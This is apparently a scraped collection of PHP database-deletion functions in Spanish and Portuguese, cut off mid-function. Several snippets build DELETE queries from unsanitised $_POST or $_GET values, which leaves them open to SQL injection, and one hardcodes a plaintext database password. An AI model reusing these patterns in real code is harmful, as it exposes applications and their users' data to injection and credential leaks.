eliminar_cliente_modelo ($codigo){\n\t\t$query=mainModel::conectar()->prepare(\"DELETE FROM cliente WHERE CuentaCodigo =:Codigo\");\n\t\t$query->bindParam(\":Codigo\",$codigo);\n\t\t$query->execute();\n\t\treturn $query;\n\t}", "function borrar(){\n $id=$_POST[\"id\"];\n $consulta=\"DELETE FROM usuarios WHERE id = \".$id.\"\";\n echo $consulta. \"<br>\";\n \n\n $resultado = $conector->query($consulta);\n mostrarListado();\n }", "function eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion){\n $idcompania = base64_decode($_GET['idcompania']);\n $idpoliza = base64_decode($_GET['idpoliza']);\t\n\tif(isset($_POST['btnEliminar'])) {\n\t\t\n\t\t$update =\"delete from s_poliza where id_poliza = \".$idpoliza.\" and id_compania=\".$idcompania.\" LIMIT 1\";\n\t\t\n\n\t\tif($conexion->query($update)===TRUE){\n\t\t\t//SE METIO A TBLHOMENOTICIAS, VAMOS A VER LA NOTICIA NUEVA\n\t\t\t$mensaje='se elimino el numero de poliza correctamente';\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=1&msg='.$mensaje);\n\t\t} else{\n\t\t\t$mensaje=\"Hubo un error al ingresar los datos, consulte con su administrador \".$conexion->errno. \": \". $conexion->error;\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=2&msg='.$mensaje);\n\t\t} \n\t}else {\n\t\t//MOSTRAMOS EL FORMULARIO PARA DAR BAJA COMPANIA\n\t\tmostrar_eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion);\n\t}\n\t\n}", "function eliminarCuentaBancaria(){\n\t\t$this->procedimiento='tes.f_cuenta_bancaria_ime';\n\t\t$this->transaccion='TES_CTABAN_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cuenta_bancaria','id_cuenta_bancaria','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function excluir(){\r\n return (new Database('cartao'))->delete('id = '.$this->id);\r\n }", "function remove() {\n\t\t$option = JRequest::getCmd('option');\n\t\t// Se obtienen los ids de los registros a borrar\n\t\t$cids = JRequest::getVar('cid', array(0), 'post', 'array');\n $product_type_code = JRequest::getVar('product_type_code');\n\n\t\t// Lanzar error si no se ha seleccionado al menos un registro a borrar\n if (count($cids) < 1 || !$product_type_code) {\n\t\t\tJError::raiseError(500, JText::_('CP.SELECT_AN_ITEM_TO_DELETE'));\n\t\t}\n\n\t\t// Se obtiene el modelo\n\t\t$model = $this->getModel('comments');\n\t\t// Se intenta el borrado\n\t\tif ($model->delete($cids, $product_type_code)) {\n\t\t\t$msg = JText::_('CP.DATA_DELETED');\n\t\t\t$type = 'message';\n\t\t} else {\n\t\t\t// Si hay algún error se ajusta el mensaje\n\t\t\t$msg = $model->getError();\n\t\t\tif (!$msg) {\n\t\t\t\t$msg = JText::_('CP.ERROR_ONE_OR_MORE_DATA_COULD_NOT_BE_DELETED');\n\t\t\t}\n\t\t\t$type = 'error';\n\t\t}\n\n\t\t$this->setRedirect('index.php?option=' . $option . '&view=comments', $msg, $type);\n\t}", "public function eliminarderivoAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloDerivotemporal->eliminar($id, $this->_usuario);\n\t\t\t\t\t\n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n\t\t\t\t\n\t\t} catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "public function excluir(){\n\t\tglobal $tabela_links;\n\t\t$consulta = new conexao();\n\t\t$endereco = $consulta->sanitizaString($this->end_link);\n\t\t$funcionalidade_tipo = (int) $this->funcionalidade_tipo;\n\t\t$funcionalidade_id = (int) $this->funcionalidade_id;\n\t\t//echo(\"$endereco\t $funcionalidade_tipo\t$funcionalidade_id\");\n\t\t$consulta->connect();\n\t\t$consulta->solicitar(\"DELETE FROM $tabela_links \n\t\t\t\t\t\t\t\tWHERE endereco = '$endereco'\n\t\t\t\t\t\t\t\tAND funcionalidade_tipo\t= '$funcionalidade_tipo'\n\t\t\t\t\t\t\t\tAND funcionalidade_id\t= '$funcionalidade_id'\");\n\t\t\n\t\n\t}", "function eliminarEmpresa(){\n\t\t$this->procedimiento='dir.f_empresa_ime';\n\t\t$this->transaccion='DIR_EMP_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_empresa','id_empresa','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function delClientUser($id_usuario){\n $sql = new Sql();\n $remCli = $sql->query('DELETE FROM clientes WHERE id_usuario = :id_usuario', array(':id_usuario'=>$id_usuario));\n if(!is_array($remCli)){\n return true;\n }else{\n return false;\n }\n }", "static public function mdlEliminarCliente($tabla,$datos){\n $stmt= Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n $stmt->bindParam(\":id\", $datos, PDO::PARAM_INT);\n \n if ($stmt->execute()) {\n return \"ok\";\n }else{\n return \"error\";\n }\n \n $stmt->close();\n $stmt=null;\n }", "public function eliminac($id)\n {\n clientes::find($id)->delete();\n $titulo = \"Desactivar cliente\";\n $mensaje1 = \"El cliente a sido desactivado correctamente\";\n return view ('cliente.mensaje1')\n ->with('titulo',$titulo)\n ->with('mensaje1',$mensaje1);\n \n }", "function removerCarrinho($id_carrinho)\n {\n $conn = new db_conect();\n $result = $conn->removerCarrinho($id_carrinho);\n return $result;\n }", "public static function eliminarServicio($id_servicio){\n \n $eliminar = Neo4Play::client()->getNode($id_servicio);\t\t\n $eliminar->delete();\t\n \n\t}", "static public function mdlEliminarCliente($tabla, $datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE id = :id\");\n\n\t\t$stmt -> bindParam(\":id\", $datos, PDO::PARAM_INT);\n\n\t\tif($stmt -> execute()){\n\n\t\t\treturn \"ok\";\n\t\t\n\t\t}else{\n\n\t\t\treturn \"error\";\t\n\n\t\t}\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n\t}", "public function eliminarAction()\n {\n $this->disableAutoRender();\n\n /* Recibo la lista de Ids separado por comas */\n $idList = $this->_getParam('id');\n\n if ($idList) {\n /* Convierto la lista a un Array */\n $idArray = explode (\",\", $idList);\n\n /* Recorro el array eliminando cada Id */\n foreach ($idArray as $id) {\n try {\n $resultado = $this->_modeloMovimiento->eliminar($id, $this->_usuario);\n \n if($resultado == 0) { /* Si no se eliminó */\n echo 'error|No está autorizado a eliminar este registro'; \n exit;\n }\n \n \n } catch(Exception $ex) {\n $message = $ex->getMessage();\n echo 'error|'.$message;\n }\n }\n }\n }", "function runEliminar(){\n \n $sql = \"DELETE FROM mec_met WHERE id_mecanismos IN (SELECT id_mecanismos FROM mecanismos WHERE id_componente=\".$this->_datos.\")\";\n $this->QuerySql($sql);\n $sql = \"DELETE FROM mecanismos WHERE id_componente=\".$this->_datos;\n $this->QuerySql($sql);\n $sql = \"DELETE FROM componentes WHERE id_componentes=\".$this->_datos;\n $_respuesta = array('Codigo' => 0, \"Mensaje\" => '<strong> OK: </strong> El registro se ha eliminado.');\n try { \n $this->QuerySql($sql);\n }\n catch (exception $e) {\n $_respuesta = array('Codigo' => 99, \"Mensaje\" => $e->getMessage());\n }\n \n print_r(json_encode($_respuesta));\n }", "public function Eliminar()\n {\n $sentenciaSql = \"DELETE FROM \n detalle_orden \n WHERE \n id_detalle_orden = $this->idDetalleOrden\";\n $this->conn->preparar($sentenciaSql);\n $this->conn->ejecutar();\n }", "public function eliminarAerolinea($idaero) {\n//Se obtiene la conexion\n $conn = Conexion::obtenerConexion();\n\n $mensaje = \"\";\n try {\n //Consulta para la eliminacion de datos\n $query = $conn->prepare(\"DELETE FROM tbl_aerolinea where id=?\");\n $query->bindParam(1, $idaero);\n\n $query->execute();\n $mensaje = \"Registro eliminado\";\n }\n catch (Exception $ex) {\n\n $mensaje = $ex->getMessage();\n }\n\n $conn = null;\n return $mensaje;\n }", "public function Eliminar(){\n \n \n if (!$this->model->igualar($_REQUEST['id'])) {//si una categoria no esta asignada la puede eliminar\n \n $this->model->Eliminar($_REQUEST['id']);\n header('Location: ?c=Categoria'); \n }\n else{\n \n header('Location: ?c=Categoria&error'); //de lo contrario no se podra eliminar asta que se elimine el cliente que la tiene\n }\n\n\n\n \n \n \n\n\n\n\n \n \n \n }", "function eliminarCuentaBancaria(){\n\t\t$this->procedimiento='sigep.ft_cuenta_bancaria_ime';\n\t\t$this->transaccion='SIGEP_CUEN_BAN_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cuenta_bancaria_boa','id_cuenta_bancaria_boa','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function opcion__eliminar()\n\t{\n\t\t$id_proyecto = $this->get_id_proyecto_actual();\n\t\tif ( $id_proyecto == 'toba' ) {\n\t\t\tthrow new toba_error(\"No es posible eliminar el proyecto 'toba'\");\n\t\t}\n\t\ttry {\n\t\t\t$p = $this->get_proyecto();\n\t\t\tif ( $this->consola->dialogo_simple(\"Desea ELIMINAR los metadatos y DESVINCULAR el proyecto '\"\n\t\t\t\t\t.$id_proyecto.\"' de la instancia '\"\n\t\t\t\t\t.$this->get_id_instancia_actual().\"'\") ) {\n\t\t\t\t$p->eliminar_autonomo();\n\t\t\t}\n\t\t} catch (toba_error $e) {\n\t\t\t$this->consola->error($e->__toString());\n\t\t}\n\t\t$this->get_instancia()->desvincular_proyecto( $id_proyecto );\n\t}", "public function eliminar($data)\n {\n $cliente=$this->db->query('delete from tab_cliente where id_cliente='.$data); \n }", "function eliminarCotizacion(){\n\t\t$this->procedimiento='adq.f_cotizacion_ime';\n\t\t$this->transaccion='ADQ_COT_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_cotizacion','id_cotizacion','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function delete_client_controller() {\n // reciving client id\n $id = clientModel::decryption($_POST['cliente_id_del']);\n $id = clientModel::clean_string($id);\n\n // Checking that the client exists in the database\n $sql = \"SELECT cliente.cliente_id\n FROM cliente\n WHERE cliente.cliente_id = '$id'\";\n $query = clientModel::execute_simple_query($sql);\n\n if (!$query->rowCount() > 0) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"¡El cliente que intenta eliminar no existe en el sistema!\");\n return $res;\n }\n\n // Cheching if the client has associated loan records\n $sql = \"SELECT prestamo.cliente_id\n FROM prestamo\n WHERE prestamo.cliente_id = '$id'\n LIMIT 1\";\n $query = clientModel::execute_simple_query($sql);\n\n if ($query->rowCount() > 0) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"No podemos elminar el cliente del sistema porque tiene prestamos asociados\");\n\n return $res;\n }\n\n // Checking privileges of current user\n session_start(['name' => 'SPM']);\n if ($_SESSION['privilegio_spm'] != 1) {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado\",\n \"¡No tienes los permisos necesarios para realizar esta operación!\");\n return $res;\n }\n\n // Deleting client of the system\n $query = clientModel::delete_client_model($id);\n\n if ($query->rowCount() == 1) {\n $res = clientModel::message_with_parameters(\"reload\", \"success\", \"Cliente eliminado\",\n \"El cliente ha sido eliminado del sistema con exito.\");\n } else {\n $res = clientModel::message_with_parameters(\"simple\", \"error\", \"Ocurrío un error inesperado.\",\n \"No hemos podido eliminar el cliente, por favor intentelo nuevamente\");\n }\n\n return $res;\n }", "public function EliminarId()\n\t{\n\t\theader (\"content-type: application/json; charset=utf-8\");\n\t\tif($this->_Method == \"POST\")\n\t\t{\n\t\t\t// Validaciones\n\t\t\tif(validarTokenAntiCSRF(\"_JS\"))\n\t\t\t{\n\t\t\t\t//Creamos una instancia de nuestro \"modelo\"\n\t\t\t\t$item = $this->ObtenModelPostId();\n\t\t\t\tif($item != null && $item->Eliminar())\n\t\t\t\t{\n\t\t\t\t\techo json_encode( array(\"Estado\"=>1) );\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No eliminador\" ) );\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No permitido, por fallo de Token anti CSRF.\" ) );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\techo json_encode( array(\"Estado\"=>0, \"Error\"=>\"No permitido, solo por POST.\") );\n\t\t}\n\t}", "function EliminarMascotas($nombres, $primer_apellido, $segundo_apellido, $fehca_nacimiento, $lugar_nacimiento, $iddepartamento, $idmunicipio, $telefono_casa, $celular, $direccion, $foto){\n $conexion = Conectar();\n $sql = \"DELETE FROM padrinos WHERE id=:id\";\n $statement = $conexion->prepare($sql);\n $statement->bindParam(':idpadrinos', $idpadrinos);\n $statement->execute();\n $statement->setFetchMode(PDO::FETCH_ASSOC);\n $res=$statement->fetchAll();\n return $res;\n}", "public static function deletar_animal_cliente(int $cliente_code): array{\r\n $db = new db_connect;\r\n // Puxando a tabela pet da classe db_connect;\r\n $tbl_pet = $db->tbl_pet;\r\n\r\n\r\n try {\r\n $stmt = $db->conn->prepare(\"DELETE FROM $tbl_pet WHERE COD_CLIENTE = :cliente_cod\");\r\n $stmt->bindParam(':cliente_cod', $cliente_code, \\PDO::PARAM_INT);\r\n $stmt->execute();\r\n\r\n $result['status'] = true;\r\n $result['message'] = \"Animal excludo com sucesso\";\r\n } catch (\\PDOException $e) {\r\n\r\n $result['status'] = false;\r\n $result['message'] = \"Error: \" . $e->getMessage();\r\n } \r\n\r\n return $result;\r\n\r\n }", "function eliminaDaDB($ID_cliente, $ID_ordine, $ID_foto) {\n $servername = \"localhost\";\n $username = \"onlinesales\";\n $password = \"Sale0nl1nE\";\n $dbname = \"fmc-db-onlinesales\";\n\n // Create connection\n $conn = new mysqli($servername, $username, $password, $dbname);\n // Check connection\n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n $query1 = \"DELETE FROM `Ordine` WHERE `ID_cliente` = '$ID_cliente' AND `ID_ordine` = '$ID_ordine'\";\n $query2 = \"DELETE FROM `Cliente` WHERE `ID_cliente` = '$ID_cliente'\";\n $query3 = \"DELETE FROM `Foto` WHERE `ID_cliente` = '$ID_cliente'\";\n \n unlink(\"../Pagina_iniziale/images/\".$ID_foto);\n eseguiQuery($conn, $query1);\n eseguiQuery($conn, $query2);\n eseguiQuery($conn, $query3);\n // chiusura della connessione\n \n $conn->close();\n }", "public function eliminar_empresa_controlador(){\n\n\t\t$codigo=mainModel::decryption($_POST['codigo-del']);\n\t\t$Privilegio=mainModel::decryption($_POST['privilegio-admin']);\n\n\t\t$codigo=mainModel::limpiar_cadena($codigo);\n\t\t$Privilegio=mainModel::limpiar_cadena($Privilegio);\n\n\t\tif($Privilegio==1){\n\n\t\t\t$consulta1=mainModel::ejecutar_consulta_simple(\"SELECT EmpresaCodigo FROM libro WHERE EmpresaCodigo='$codigo'\");\n\n\t\t\t\n\t\t\tif($consulta1->rowCount()<=0){\n\t\t\t\t$ElimEmp=empresaModelo::eliminar_empresa_modelo($codigo);\n\t\t\t\t\n\t\t\t\tif($ElimEmp->rowCount()==1){\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\"Alertas\"=>\"recargar\",\n\t\t\t\t\t\t\t\"Titulo\"=>\"Empresa Eliminada\",\n\t\t\t\t\t\t\t\"Texto\"=>\"Se elimino la empresa de manera satisfactoria\",\n\t\t\t\t\t\t\t\"Tipo\"=>\"success\"\n\t\t\t\t\t\t];\t\n\t\t\t\t}else{\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"Lo sentimos no se puede eliminar la empresa, \",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t];\n\t\t\t\t}\t\n\t\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\"Texto\"=>\"No se puede eliminar la empresa, teniendo en cuenta que hay libros asociados a esta empresa\",\n\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t];\n\t\t\t}\n\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\"Texto\"=>\"No se puede eliminar la empresa.\",\n\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t];\n\t\t}\n\t\treturn mainModel::sweet_alert($alerta);\n\t\t\n\t}", "public function delete($id){\n\t\t$dropCliente = Cliente::find($id);\n\t\t$dropCliente->delete();\n\t}", "public function excluir(){\n\t\n\t\t$idcomentario = $this->uri->segment(3);\n\t\tif ($idcomentario != NULL):\n\t\t\t$query = $this->Comentarios->get_byid($idcomentario);\n\t\t\tif ($query->num_rows()==1):\n\t\t\t\t$query = $query->row();\n\t\t\t\t$this->Comentarios->do_delete(array('id_comentario'=>$query->id_comentario), FALSE);\n\t\t\tendif;\n\t\telse:\n\t\t\tset_msg('msgerro', 'Escolha um comentario para excluir', 'erro');\n\t\tendif;\n\t\t\tredirect('comentarios/gerenciar');\n\t}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EquipeDiscipulos WHERE discipuloId = ?\n AND equipeId = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->discipuloId );\n $stm->bindParam(2, $this->equipeId );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "function borrar_prov_serv_cost($idproveedor,$idservicio){\n\t\t$sql=\"\n\t\tDELETE FROM catalogo_proveedor_servicio_costo_negociado WHERE IDPROVEEDOR='$idproveedor' AND IDSERVICIO='$idservicio'\n\t\t\";\n\t\t$this->query($sql);\n\t\treturn;\n\t}", "static public function mdlBorrarCliente($tabla, $datos){\r\n\r\n\t\t$stmt = Conexion::conectar()->prepare(\"DELETE FROM $tabla WHERE idCliente = :idCliente\");\r\n\r\n\t\t$stmt -> bindParam(\":idCliente\", $datos, PDO::PARAM_INT);\r\n\r\n\t\tif($stmt -> execute()){\r\n\r\n\t\t\treturn \"ok\";\r\n\t\t\r\n\t\t}else{\r\n\r\n\t\t\treturn \"error\";\t\r\n\r\n\t\t}\r\n\r\n\t\t$stmt -> close();\r\n\r\n\t\t$stmt = null;\r\n\r\n\r\n\t}", "public function deleting(Seguimiento $Seguimiento){\n \n }", "function delete_client($id_client){\n \n $sql = \"DELETE FROM client WHERE id_client = \".$id_client.\"\";\n \n $res = $this->pdo->query($sql);\n if(!$res){\n $this->message = \"impossible de supprimer le client\";\n return false;\n }\n return true;\n }", "public function delete() {\n $conexion = StorianDB::connectDB();\n $borrado = \"DELETE FROM cuento WHERE id=\\\"\".$this->id.\"\\\"\";\n $conexion->exec($borrado);\n }", "function clients_deleteClient($id) {\n\tglobal $Auth;\n\n\t## multiclient\n\t$client_id = $Auth->auth[\"client_id\"];\n\t\n\t## the basic client only supports email and password- email needs to be unique\t\n\n\t## prepare the db-object\n\t$db = new DB_Sql();\n\t$select_query = \"DELETE FROM \".USER_PAGES.\" WHERE id='$id' AND client_id='$client_id'\";\n\t$result_pointer = $db->query($select_query);\t\n}", "function eliminarChequera(){\n\t\t$this->procedimiento='tes.f_chequera_ime';\n\t\t$this->transaccion='TES_CHQ_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_chequera','id_chequera','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function destroy(Cliente $cliente)\n {\n //\n }", "public function remover() {\n \n $queryVerificaInscricao = '\n select * from tb_inscricao_atividade where id_atividade = :id_atividade \n ';\n \n $stmtInscAtt = $this->conexao->prepare($queryVerificaInscricao);\n $stmtInscAtt->bindValue(':id_atividade', $_GET['id_att']);\n $stmtInscAtt->execute();\n \n $inscAtt = $stmtInscAtt->fetchAll(PDO::FETCH_OBJ);\n \n // echo '<pre>';\n // print_r($inscAtt);\n // echo '</pre>';\n \n if (!empty($inscAtt)) {\n foreach ($inscAtt as $inscAttInd) {\n $queryDeleteInscAtt = 'delete from tb_inscricao_atividade where \n id_atividade = :id_atividadeDel and \n id_evento = :id_eventoDel and \n id_usuario = :id_usuarioDel';\n \n $stmtInscAttDel = $this->conexao->prepare($queryDeleteInscAtt);\n $stmtInscAttDel->bindValue(':id_atividadeDel', $inscAttInd->id_atividade);\n $stmtInscAttDel->bindValue(':id_eventoDel', $inscAttInd->id_evento);\n $stmtInscAttDel->bindValue(':id_usuarioDel', $inscAttInd->id_usuario);\n $stmtInscAttDel->execute();\n }\n }\n\n $queryInscCupomAtt = '\n select * from tb_cupom where id_atividade = :id_atividadeCupDel\n ';\n\n $stmtInscCupomAtt = $this->conexao->prepare($queryInscCupomAtt);\n $stmtInscCupomAtt->bindValue(':id_atividadeCupDel', $_GET['id_att']);\n $stmtInscCupomAtt->execute();\n\n $cupomAtt = $stmtInscCupomAtt->fetchAll(PDO::FETCH_OBJ);\n\n // echo '<pre>';\n // print_r($cupomAtt);\n // echo '</pre>';\n\n if (!empty($cupomAtt)) {\n foreach ($cupomAtt as $cupomAttInd) {\n $queryDeleteCupomAtt = '\n delete from tb_cupom where id = :id_cupomDel\n ';\n\n echo $cupomAttInd->id;\n\n $stmtInscCupomAttDel = $this->conexao->prepare($queryDeleteCupomAtt);\n $stmtInscCupomAttDel->bindValue(':id_cupomDel', $cupomAttInd->id);\n $stmtInscCupomAttDel->execute();\n }\n }\n \n $query = '\n delete from tb_atividade \n where id = :id';\n\n $stmt = $this->conexao->prepare($query);\n $stmt->bindValue(':id', $_GET['id_att']);\n\n return $stmt->execute();\n }", "public function Excluir(){\n $idMotorista = $_GET['id'];\n\n $motorista = new Motorista();\n\n $motorista->id = $idMotorista;\n\n $motorista::Delete($motorista);\n\n\n }", "public function EliminarDetallesCompras()\n{\n\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\tself::SetNames();\n\t\t$sql = \" select * from detallecompras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])) );\n\t\t$num = $stmt->rowCount();\n\t\tif($num > 1)\n\t\t{\n\n\t\t\t$sql = \" delete from detallecompras where coddetallecompra = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$coddetallecompra);\n\t\t\t$coddetallecompra = base64_decode($_GET[\"coddetallecompra\"]);\n\t\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN INGREDINTE ###################\n\tif($_POST['tipoentrada']==\"INGREDIENTE\"){\n\n\t\t$sql2 = \"select cantingrediente from ingredientes where cantingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"cantingrediente\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexingredientes where codprocesoing = ? and codingrediente = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update ingredientes set \"\n\t\t.\" cantingrediente = ? \"\n\t\t.\" where \"\n\t\t.\" codingrediente = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n################ VERIFICAMOS SI EL TIPO DE ENTRADA ES UN PRODUCTO ###################\n\t\t\t} else {\n\n\t\t$sql2 = \"select existencia from productos where codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql2);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t{\n\t\t\t$p[] = $row;\n\t\t}\n\t\t$existenciadb = $p[0][\"existencia\"];\n\n###################### REALIZAMOS LA ELIMINACION DEL PRODUCTO EN KARDEX ############################\n\t\t$sql = \" delete from kardexproductos where codproceso = ? and codproducto = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1,$codcompra);\n\t\t$stmt->bindParam(2,$codproducto);\n\t\t$codcompra = strip_tags(base64_decode($_GET[\"codcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$stmt->execute();\n\n###################### ACTUALIZAMOS LOS DATOS DEL PRODUCTO EN ALMACEN ############################\n\t\t$sql = \" update productos set \"\n\t\t.\" existencia = ? \"\n\t\t.\" where \"\n\t\t.\" codproducto = ?;\n\t\t\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $existencia);\n\t\t$stmt->bindParam(2, $codproducto);\n\t\t$cantcompra = strip_tags(base64_decode($_GET[\"cantcompra\"]));\n\t\t$codproducto = strip_tags(base64_decode($_GET[\"codproducto\"]));\n\t\t$existencia = $existenciadb - $cantcompra;\n\t\t$stmt->execute();\n\n\t\t\t}\n\n\t\t$sql4 = \"select * from compras where codcompra = ? \";\n\t\t$stmt = $this->dbh->prepare($sql4);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n\t\t$num = $stmt->rowCount();\n\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$paea[] = $row;\n\t\t\t}\n\t\t$subtotalivasic = $paea[0][\"subtotalivasic\"];\n\t\t$subtotalivanoc = $paea[0][\"subtotalivanoc\"];\n\t\t$iva = $paea[0][\"ivac\"]/100;\n\t\t$descuento = $paea[0][\"descuentoc\"]/100;\n\t\t$totalivac = $paea[0][\"totalivac\"];\n\t\t$totaldescuentoc = $paea[0][\"totaldescuentoc\"];\n\n\t$sql3 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'SI'\";\n $stmt = $this->dbh->prepare($sql3);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($rowp = $stmt->fetch())\n {\n $p[] = $rowp;\n }\n $importeivasi = ($rowp[\"importe\"]== \"\" ? \"0\" : $rowp[\"importe\"]);\n\n$sql5 = \"select sum(importecompra) as importe from detallecompras where codcompra = ? and ivaproductoc = 'NO'\";\n $stmt = $this->dbh->prepare($sql5);\n $stmt->execute( array(base64_decode($_GET[\"codcompra\"])));\n $num = $stmt->rowCount();\n \n if($roww = $stmt->fetch())\n {\n $pw[] = $roww;\n }\n $importeivano = ($roww[\"importe\"]== \"\" ? \"0\" : $roww[\"importe\"]);\n\n if(base64_decode($_GET[\"ivaproductoc\"])==\"SI\"){\t\n\t\n\t\t$sql = \" update compras set \"\n\t\t\t .\" subtotalivasic = ?, \"\n\t\t\t .\" totalivac = ?, \"\n\t\t\t .\" totaldescuentoc = ?, \"\n\t\t\t .\" totalc= ? \"\n\t\t\t .\" where \"\n\t\t\t .\" codcompra = ?;\n\t\t\t \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->bindParam(1, $subtotal);\n\t\t$stmt->bindParam(2, 